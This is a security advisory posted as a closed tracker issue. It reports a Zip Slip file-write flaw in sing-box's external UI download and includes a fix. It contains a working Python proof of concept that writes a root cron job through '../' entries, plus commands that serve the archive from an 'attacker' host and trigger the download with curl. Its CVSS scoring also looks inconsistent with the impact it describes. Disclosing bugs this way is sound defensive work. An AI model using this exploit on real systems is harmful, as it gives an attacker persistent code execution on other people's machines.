ITADN

[Security] Zip Slip Path Traversal in external_ui_download

#4117Closedicysun 创建于 2026-05-07
spam
I
icysuncommented
# Zip Slip Arbitrary File Write via External UI Download ## Summary A Zip Slip vulnerability exists in `sing-box`'s Clash API external UI download functionality. The `downloadZIP()` function in `experimental/clashapi/server_resources.go` extracts ZIP archive entries without validating that the destination paths remain within the intended output directory. An attacker who can control the ZIP file served at the configured download URL can write arbitrary files to any location on the filesystem accessible to the sing-box process. ## Details ### Vulnerable Code The vulnerability resides in the `downloadZIP()` function at **`experimental/clashapi/server_resources.go`, lines 101-126**: ```go func (s *Server) downloadZIP(body io.Reader, output string) error { tempFile, err := filemanager.CreateTemp(s.ctx, "external-ui.zip") if err != nil { return err } defer os.Remove(tempFile.Name()) _, err = io.Copy(tempFile, body) tempFile.Close() if err != nil { return err } reader, err := zip.OpenReader(tempFile.Name()) if err != nil { return err } defer reader.Close() trimDir := zipIsInSingleDirectory(reader.File) for _, file := range reader.File { if file.FileInfo().IsDir() { continue } pathElements := strings.Split(file.Name, "/") if trimDir { pathElements = pathElements[1:] } saveDirectory := output if len(pathElements) > 1 { saveDirectory = filepath.Join(saveDirectory, filepath.Join(pathElements[:len(pathElements)-1]...)) } err = os.MkdirAll(saveDirectory, 0o755) if err != nil { return err } savePath := filepath.Join(saveDirectory, pathElements[len(pathElements)-1]) err = downloadZIPEntry(s.ctx, file, savePath) if err != nil { return err } } return nil } ``` **Line 122** is the critical line: ```go savePath := filepath.Join(saveDirectory, pathElements[len(pathElements)-1]) ``` While `filepath.Join()` does invoke `filepath.Clean()` internally to normalize the path, it **does not prevent directory traversal** caused by `..` segments in the path elements. When `pathElements` contains entries such as `..`, the resulting `savePath` can escape the intended `output` directory. Additionally, at **line 118**, `saveDirectory` is constructed by joining user-controlled path segments with the output directory: ```go saveDirectory = filepath.Join(saveDirectory, filepath.Join(pathElements[:len(pathElements)-1]...)) ``` This means that intermediate directory path components containing `..` can also cause the directory itself to escape the intended output location. ### Path to Trigger 1. **Startup auto-download** — `checkAndDownloadExternalUI()` at **line 16** is called during `Start()` in `server.go:177`. If the `external_ui` directory is empty, `downloadExternalUI()` is invoked automatically. 2. **API-triggered download** — The route `POST /upgrade/ui` is registered in `api_meta.go:33` via `r.Mount("/upgrade", upgradeRouter(s))`, which calls `upgradeRouter()` defined in `api_meta_upgrade.go:9`. The `updateExternalUI` handler calls `server.downloadExternalUI()` directly. 3. **Authentication** — The `/upgrade/ui` endpoint is mounted inside the authentication-protected group in `server.go:121-135`. The `authentication()` middleware at **server.go:226** bypasses authorization when `serverSecret` is empty (line 230). If no `secret` is configured, the endpoint is accessible without authentication. 4. **Download URL** — The URL is taken from `externalUIDownloadURL` if set, otherwise defaults to `https://github.com/MetaCubeX/Yacd-meta/archive/gh-pages.zip` (line 33). An attacker can exploit this by: - Supplying a malicious `external_ui_download_url` in the configuration (if they can influence the config), or - Compromising the default GitHub source (supply chain attack). ### Why `filepath.Join` Is Insufficient A common misconception is that `filepath.Join` prevents directory traversal. In Go, `filepath.Join` calls `filepath.Clean`, which normalizes paths but does **not** reject paths containing `..`. For example: ```go filepath.Join("/opt/sing-box/ui", "..", "..", "etc", "cron.d", "payload") // Result: "/etc/cron.d/payload" — escapes the intended directory ``` No check is performed to ensure the final `savePath` remains under the `output` prefix. ## Impact **CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3 (Medium)** (When no API secret is configured.) If an API secret is configured: **CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N — 4.3 (Medium)** An attacker who can control the ZIP file downloaded by sing-box can: - **Write arbitrary files** to any location accessible to the sing-box process user. - **Overwrite existing files**, potentially disrupting service or altering application behavior. - **Write cron jobs, systemd units, or SSH keys** for persistent access (depending on process privileges). - **Modify sing-box configuration files** to redirect traffic, inject rules, or disable security features. The vulnerability is particularly concerning in scenarios where: - The Clash API `external_controller` is bound to `0.0.0.0` (default in many deployments) and no `secret` is configured. - The `external_ui_download_url` points to a third-party or user-supplied source. - sing-box runs as root or with elevated privileges (common on routers and self-hosted setups). ## Proof of Concept The following Python script creates a malicious ZIP archive that exploits the Zip Slip vulnerability: ```python #!/usr/bin/env python3 """ PoC: Create a malicious ZIP file that exploits Zip Slip in sing-box external UI download functionality. This ZIP contains an entry with path traversal (../) that will write a file outside the intended output directory when extracted. """ import zipfile import io import argparse import sys def create_malicious_zip(output_path, target_file, content): """ Create a ZIP archive with a path-traversal entry. Args: output_path: Path to write the malicious ZIP file target_file: Destination path relative to the sing-box external_ui directory (e.g., "../../etc/cron.d/payload") content: Content to write into the target file """ buf = io.BytesIO() with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf: # Normal file to make zipIsInSingleDirectory() return false # This ensures trimDir is false and full paths are preserved zf.writestr("normal.html", "<html>normal</html>") # Malicious entry with directory traversal zf.writestr(target_file, content) with open(output_path, 'wb') as f: f.write(buf.getvalue()) print(f"[+] Malicious ZIP written to: {output_path}") print(f"[+] Target file (after extraction): {target_file}") print(f"[+] Content length: {len(content)} bytes") # Verify the entry with zipfile.ZipFile(output_path, 'r') as zf: print("\n[*] ZIP contents:") for info in zf.infolist(): print(f" {info.filename} ({info.file_size} bytes)") def main(): parser = argparse.ArgumentParser( description="PoC for sing-box Zip Slip (CVE-pending)" ) parser.add_argument( '-o', '--output', default='malicious-ui.zip', help='Output ZIP file path (default: malicious-ui.zip)' ) parser.add_argument( '-t', '--target', default='../../../etc/cron.d/singbox-poc', help='Target file path relative to external_ui dir ' '(default: ../../../etc/cron.d/singbox-poc)' ) parser.add_argument( '-c', '--content', default='* * * * * root id > /tmp/poc-proof\n', help='Content to write to the target file' ) args = parser.parse_args() create_malicious_zip(args.output, args.target, args.content) if __name__ == '__main__': main() ``` **Usage:** ```bash # Create a malicious ZIP that writes a cron job python3 exploit.py -o malicious-ui.zip -t '../../../etc/cron.d/singbox-poc' # Host it and configure sing-box to download from it python3 -m http.server 8080 # serves malicious-ui.zip # In sing-box config: # external_ui: "/var/lib/sing-box/ui" # external_ui_download_url: "http://attacker:8080/malicious-ui.zip" # Or trigger via API (if no secret is set): # curl -X POST http://target:9090/upgrade/ui ``` **Explanation of the PoC:** 1. The ZIP contains two entries: a normal file and a malicious file with `../../../` traversal in its path. 2. The presence of two different top-level directory names (`normal.html` and the traversal path starting with `..`) causes `zipIsInSingleDirectory()` to return `false`, meaning `trimDir` is `false` and the full filename is used without stripping the first path component. 3. When `downloadZIP()` processes the malicious entry, `filepath.Join` resolves the `..` segments, causing the file to be written outside the intended `external_ui` directory. Manual code review and verification completed. ## Remediation Add a path containment check in `downloadZIP()` before writing any file. The check should verify that the resolved `savePath` is within the `output` directory after all path normalization: ```go func (s *Server) downloadZIP(body io.Reader, output string) error { // ... existing code up to the loop ... cleanOutput := filepath.Clean(output) + string(os.PathSeparator) for _, file := range reader.File { if file.FileInfo().IsDir() { continue } pathElements := strings.Split(file.Name, "/") if trimDir { pathElements = pathElements[1:] } saveDirectory := output if len(pathElements) > 1 { saveDirectory = filepath.Join(saveDirectory, filepath.Join(pathElements[:len(pathElements)-1]...)) } // Added: validate saveDirectory does not escape output if !strings.HasPrefix(filepath.Clean(saveDirectory)+string(os.PathSeparator), cleanOutput) && filepath.Clean(saveDirectory) != filepath.Clean(output) { return fmt.Errorf("zip slip: entry %q escapes output directory", file.Name) } err = os.MkdirAll(saveDirectory, 0o755) if err != nil { return err } savePath := filepath.Join(saveDirectory, pathElements[len(pathElements)-1]) // Added: validate savePath does not escape output if !strings.HasPrefix(filepath.Clean(savePath), cleanOutput) { return fmt.Errorf("zip slip: entry %q escapes output directory", file.Name) } err = downloadZIPEntry(s.ctx, file, savePath) if err != nil { return err } } return nil } ``` Additionally, consider: - Validating that `external_ui_download_url` uses HTTPS and points to a trusted domain. - Adding integrity verification (e.g., SHA256 checksum) for downloaded ZIP files. - Running the download process with reduced filesystem privileges where possible. ## Credit Discovered by icysun (icysun@qq.com). Manual code review and verification completed.
关闭于 2026-06-20 1 条评论